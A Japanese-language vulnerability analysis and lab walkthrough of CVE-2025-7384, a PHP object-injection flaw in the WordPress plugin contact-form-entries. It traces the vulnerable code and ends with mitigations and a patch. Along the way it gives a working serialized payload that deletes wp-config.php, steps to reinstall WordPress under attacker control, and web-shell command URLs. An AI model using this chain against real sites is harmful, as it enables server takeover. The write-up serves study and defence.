
プラグイン: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8(重大)
CWE: CWE-502 — 信頼できないデータのデシリアライゼーション
認証要件: なし(未認証)
影響: リモートコード実行
「Database for Contact Form 7」プラグイン(スラッグ: contact-form-entries)バージョン1.4.3以下には、PHPオブジェクトインジェクションの脆弱性が存在します。WordPress管理者が管理パネル内でフォームレコード(エントリ)を閲覧すると、このプラグインは、Contact Form 7を介して未認証ユーザーが送信したデータに対して、インスタンス化を許可するクラスのリストを制御せずに、maybe_unserialize() 関数を直接呼び出します。
攻撃者はログインする必要はありません。通常の問い合わせフォームを送信するだけで、シリアライズされたPHPオブジェクトを任意のフォームフィールドに挿入できます。このデータはデータベースに生のまま保存されます。管理者がそのエントリを開いて閲覧すると、デシリアライゼーション関数が攻撃者の選択したオブジェクトをインスタンス化し、__destruct() や __wakeup() などのマジックメソッドをトリガーして、WordPress環境で利用可能なPOPガジェットに応じて任意の動作を実行します。
重大度レベル: 適切なPOPガジェット(例えば
__destruct()メソッドがunlink()を呼び出すクラス)があれば、攻撃者はwp-config.phpファイルを削除し、WordPressを初期インストール画面に戻すことができます → 攻撃者が制御する管理者アカウントで再インストール → ウェブシェルを含むプラグインをインストール → サーバー上で完全なリモートコード実行(RCE)を達成します。
PHPは serialize() を使用してオブジェクトを構造化されたテキスト文字列に変換し、unserialize() を使用してその文字列からオブジェクトを復元します。unserialize() が信頼できないソース(例: ユーザー入力)からのデータを受け取ると、攻撃者はその時点でPHPメモリにロードされている任意のクラスに属する任意のオブジェクトを構築できます。
PHPがオブジェクトのライフサイクル中に自動的に呼び出す特別なメソッドです。この文脈で最も重要なもの:
__wakeup() — オブジェクトがアンシリアライズされた直後に呼び出される__destruct() — オブジェクトが破棄される(スコープから外れる、またはリクエストが終了する)ときに呼び出される__toString() — オブジェクトが文字列にキャストされるときに呼び出されるアプリケーション内の既存クラスから複数のマジックメソッドを連鎖させて、危険な一連の動作を構築する手法です。攻撃者は新しいコードを書くわけではなく、既存オブジェクトのプロパティを操作するだけで、マジックメソッドが実行されたときに開発者が意図しないアクションを実行させます。
maybe_unserialize()WordPress Coreのラッパー関数です。is_serialized() を呼び出して文字列がシリアライズされたデータかどうかを確認し、真であれば unserialize() を呼び出してオブジェクトを復元します。問題: この関数は、インスタンス化を許可するクラスを制限するための allowed_classes パラメータ(PHP 7.0以降で利用可能)を渡していません。
まず、プラグインのソースコード全体をgrepしてデシリアライゼーション関数を特定します。これらはPHPで最も危険な関数であり、オブジェクトインジェクションにつながる可能性があります:
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

出力から、maybe_unserialize() の複数の呼び出し箇所が明らかになります。特に includes/data.php の545行目、verify_val() 関数内です:

// data.php lines 538-548
public function verify_val($string){
if(in_array(substr(ltrim($string),0,1), array('{','['))
&& in_array(substr(rtrim($string),-1), array('}',']'))
){
$val = json_decode($string, 1);
if(is_array($val)){ $string = $val; }
} else if(is_serialized($string)){ // line 544
$string = maybe_unserialize($string); // ★ line 545 — SINK
}
return $string;
}
重要な疑問: $string 変数はどこから来るのか? フィルタリングされずにユーザー入力から来る場合 → これは脆弱性です。
verify_val() がどこで呼び出されているかを探します。同じ data.php ファイル内を逆方向にトレースします:

// data.php lines 520-535
public function get_lead_detail($lead_id){
global $wpdb;
$table = $wpdb->prefix . 'vxcf_leads_detail';
$detail_arr = $wpdb->get_results(
$wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
ARRAY_A
);
foreach($detail_arr as $k => $v){
if(!empty($v['value'])){
$detail_arr[$k]['value'] = $this->verify_val($v['value']); // ← calls verify_val
}
}
return $detail_arr;
}
→ $string はまさに $v['value'] — wp_vxcf_leads_detail データベーステーブルから取得された値です。この関数は、管理者がフォームエントリの詳細を閲覧するときに呼び出されます。
次の疑問: wp_vxcf_leads_detail 内のデータはどこから来るのか? 誰が書き込むのか?
ステップ2から、データがデータベースから取得されることが分かっています。次の疑問: 誰がそこにデータを書き込むのか? data.php 内でINSERTクエリを検索します:
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

詳細は create_lead() 関数のコード(85〜103行目)を参照してください:

98〜99行目で、フォームフィールド(例: your-message)の内容である値 $v が、$wpdb->insert() によってデータベースに直接挿入されます。プラグインはContact Form 7の wpcf7_before_send_mail イベントにフックしているため、ユーザーがフォームを送信するたびに、すべてのフィールドが生のまま保存されます。
追加確認: プラグインは保存前に sanitize_text_field() と sanitize_textarea_field() を使用していますが、これら2つの関数はHTMLタグと特殊HTML文字を除去するだけです。O:21:"VulnerableFileHandler":2:{...} のようなシリアライズされたペイロードにはHTMLタグが含まれていないため、完全にそのまま通過します。
この時点で、完全なフローが確立されました:
Unauthenticated user submits CF7 form (your-message field contains serialized object)
↓ sanitize_text_field() — DOES NOT block serialized strings
Saved into wp_vxcf_leads_detail table (raw payload)
↓
Admin views entry → get_lead_detail() → verify_val()
↓ is_serialized() returns true
maybe_unserialize($string) — line 545 → PHP instantiates arbitrary object
↓
Object's __destruct() executes → performs attacker-controlled action
根本原因:
data.php:545のmaybe_unserialize()関数が、未認証ユーザー入力に由来するデータに対して、allowed_classes: falseを渡さずに呼び出されています。攻撃者はCF7フォームのyour-messageフィールドにシリアライズされたPHPオブジェクトを送信するだけで、管理者がエントリを閲覧すると、PHPがそのオブジェクトをインスタンス化して__destruct()マジックメソッドをトリガーします。
視覚的な証明として、Xdebugを使用して data.php の545行目にブレークポイントを設定します。フォームを介してペイロードを注入し、管理者にエントリを閲覧させた後、デバッガは正確に maybe_unserialize() で一時停止します:

変数パネルには、攻撃者のペイロードを保持する $string が表示されます:
$string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → ペイロードはフォーム → データベース → デシリアライゼーション関数へ、ブロックされることなく到達しました実行行:
$string=maybe_unserialize($string);コールスタックは関数呼び出しのシーケンスを示しています:
vxcf_form_data->verify_val data.php:545
vxcf_form_data->get_entries data.php:388
vxcf_form::get_entries contact-form-entries.php:2682
vxcf_form_pages->entries_page plugin-pages.php:1017
...
WP_Hook->apply_filters class-wp-hook.php:324
WP_Hook->do_action class-wp-hook.php:348
→ 分析した正確なフローが確認されます: 管理者がエントリを閲覧 → get_entries() → verify_val() → maybe_unserialize()。
攻撃チェーンは5つのステージで構成されます。攻撃者が実行する必要があるのはステージ1(フォーム送信)だけです。ステージ2〜5は、管理者がエントリを閲覧した後に自動的に発生します。
攻撃者は、メッセージフィールドにシリアライズされたPHPオブジェクトを含むCF7フォームを送信します。
POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedbackyour-message に含まれる値: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}wp_vxcf_leads_detail テーブルに保存 — sanitize_text_field() はシリアライズされた文字列をブロックしない管理者が「Contact Form Entries」ページを開く → エントリの詳細を表示 → プラグインが verify_val() を呼び出す → maybe_unserialize()。
file_path = "/var/www/html/wp-config.php" と cleanup = true を持つオブジェクト VulnerableFileHandler をインスタンス化します__destruct() を呼び出します → unlink("/var/www/html/wp-config.php")wp-config.php ファイルが削除されます → WordPressはデータベース接続を失います。
http://target/ にアクセス → /wp-admin/setup-config.php(初期セットアップ画面)に自動的にリダイレクトされます攻撃者は既知の(またはブルートフォースで入手した)データベース資格情報を使用してWordPressを再インストールします。
ウェブシェルを含むプラグインをインストール → 任意のシステムコマンドを実行します。
/wp-content/plugins/shell/shell.php?cmd=iduid=33(www-data) gid=33(www-data) → RCE完了WordPress + 脆弱なプラグインを含むDockerラボを起動します:
cd CVE-2025-7384
docker-compose up --build -d
ログに LAB READY と表示されるまで約40秒待ちます。http://localhost:8181 にアクセスしてWordPressが実行されていることを確認します。
セクション3のソースコード分析から、以下が分かっています:
data.php:545 にあります — フォームフィールド値に対する maybe_unserialize()wp_vxcf_leads_detail テーブル — データはCF7フォームから来ますsanitize_text_field() のみに依存 — シリアライズされた文字列をブロックしない→ 結論: シリアライズされたPHPオブジェクトをCF7フォームの任意のフィールドに送信するだけです。your-message はテキストエリアであり、長い文字列を受け入れ、フォーマット検証が少ないため(メール形式が必要な your-email とは異なり)、これを選択します。
http://localhost:8181/contact/ にアクセスし、フォームを次のように記入します:
| フィールド | 値 |
|---|---|
| あなたの名前 | dung |
| あなたのメール | [email protected] |
| 件名 | test inject |
| あなたのメッセージ | O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;} |

ペイロードの説明:
O:21:"VulnerableFileHandler" — クラス VulnerableFileHandler(unlink() を呼び出す __destruct() を持つ)をインスタンス化しますs:9:"file_path";s:27:"/var/www/html/wp-config.php" — file_path プロパティが削除対象のファイルを指しますs:7:"cleanup";b:1 — プロパティ cleanup = true により、__destruct() が unlink() を実行します送信をクリックします。フォームにはメール送信エラーメッセージ(または成功メッセージ)が表示されますが、これは無関係です。contact-form-entries プラグインはメール配信前にすべてのデータをすでにデータベースに保存しているためです。
http://localhost:8181/wp-admin(admin / admin123)にログイン → 左メニューで CRM Entries を選択 → 受信したエントリをクリックして表示します。

これがまさに実行が data.php:545 に到達する瞬間です。プラグインはデータベースから your-message の値を取得し、is_serialized() チェックが true を返し、maybe_unserialize() を呼び出します → PHPが VulnerableFileHandler オブジェクトを作成 → リクエストが終了し、__destruct() が実行されます → unlink("/var/www/html/wp-config.php")。
ブラウザで http://localhost:8181/ に移動 → WordPressは /wp-admin/setup-config.php ページ(初期セットアップ画面)にリダイレクト → wp-config.php ファイルが正常に削除されました。

wp-config.php が削除されると、WordPressは未インストール状態に戻ります。攻撃者の手順:
ステップ1 — WordPressを再インストール:
http://localhost:8181/wp-admin/setup-config.php にアクセス → データベース資格情報を入力:
| フィールド | 値 |
|---|---|
| データベース名 | wordpress |
| ユーザー名 | wpuser |
| パスワード | wppass |
| データベースホスト | db |
| テーブルプレフィックス | wp_ |
「送信」をクリック → インストールを実行 → 攻撃者が制御する新しい管理者アカウントを作成。
ステップ2 — ウェブシェルのアップロード:
管理ダッシュボードにログイン → プラグイン → 新規追加 → プラグインのアップロード → system-health.zip ファイル(または system-monitor.zip)をアップロード。

アップロードと有効化が成功。
ステップ3 — コマンドの実行(RCE):
アクセス: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

出力: uid=33(www-data) gid=33(www-data) → リモートコード実行が完了しました
アクセス: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

出力: www-data → リモートコード実行が完了しました
*ユーザー操作: NVDは、管理者がフォームエントリを閲覧することは期待される動作であり、異常なユーザー操作ではないため、「なし」と評価しています。
ユーザー提供データに対して maybe_unserialize() を使用しないこと。 構造化データの保存が必要な場合は、代わりに json_decode() を使用してください。
デシリアライゼーションがどうしても必要な場合は、allowed_classes: false オプション(PHP 7.0以降)を指定します:
$data = unserialize($string, ['allowed_classes' => false]);
これにより、PHPはオブジェクトを一切インスタンス化せず、スカラー型と配列のみを許可します。
/^[OaCis]:\d+/(シリアライズされたデータの指標)に一致する値はすべて拒否します。wp_vxcf_leads_detail データベーステーブルに、O:XX:"ClassName": 形式の文字列に一致するエントリがないか検査する — 存在する場合は攻撃の試みを示しますwp-config.php に制限的なファイル権限(440または400)を設定する — Webサーバープロセスによる削除の可能性を低減します// BEFORE (vulnerable):
} else if(is_serialized($string)){
$string = maybe_unserialize($string);
}
// AFTER (patched):
} else if(is_serialized($string)){
$string = json_decode(json_encode(
unserialize($string, ['allowed_classes' => false])
), true);
}
| 属性 | 値 |
|---|
| CVE ID | CVE-2025-7384 |
| CVSSスコア | 9.8(重大) |
| CWE | CWE-502 — 信頼できないデータのデシリアライゼーション |
| 影響を受けるプラグイン | contact-form-entries (Database for Contact Form 7) ≤ 1.4.3 |
| 認証要件 | なし — CF7フォームを送信する誰でもペイロードを注入可能 |
| トリガー条件 | 管理者が管理パネルで注入されたエントリを閲覧する |
| 最大の影響 | 未認証のリモートコード実行 |
| パッチ適用済みバージョン | 1.4.4+(unserialize を json_decode または allowed_classes: false に置き換え) |
| CVSSメトリクス | 値 | 説明 |
|---|
| 攻撃元 | ネットワーク | HTTP経由で悪用可能、物理的なアクセスは不要 |
| 攻撃の複雑さ | 低 | ペイロードを含むPOSTリクエストを1回送信するだけ |
| 必要な権限 | なし | 認証不要 — CF7フォームは一般に公開 |
| ユーザー操作 | なし* | 管理者は通常のワークフローでエントリを閲覧 |
| 機密性 | 高 | RCEによりサーバー上の任意のファイルを読み取り可能 |
| 完全性 | 高 | RCEにより任意のファイルの書き込み・変更が可能 |
| 可用性 | 高 | wp-config.phpの削除によりWebサイト全体が停止 |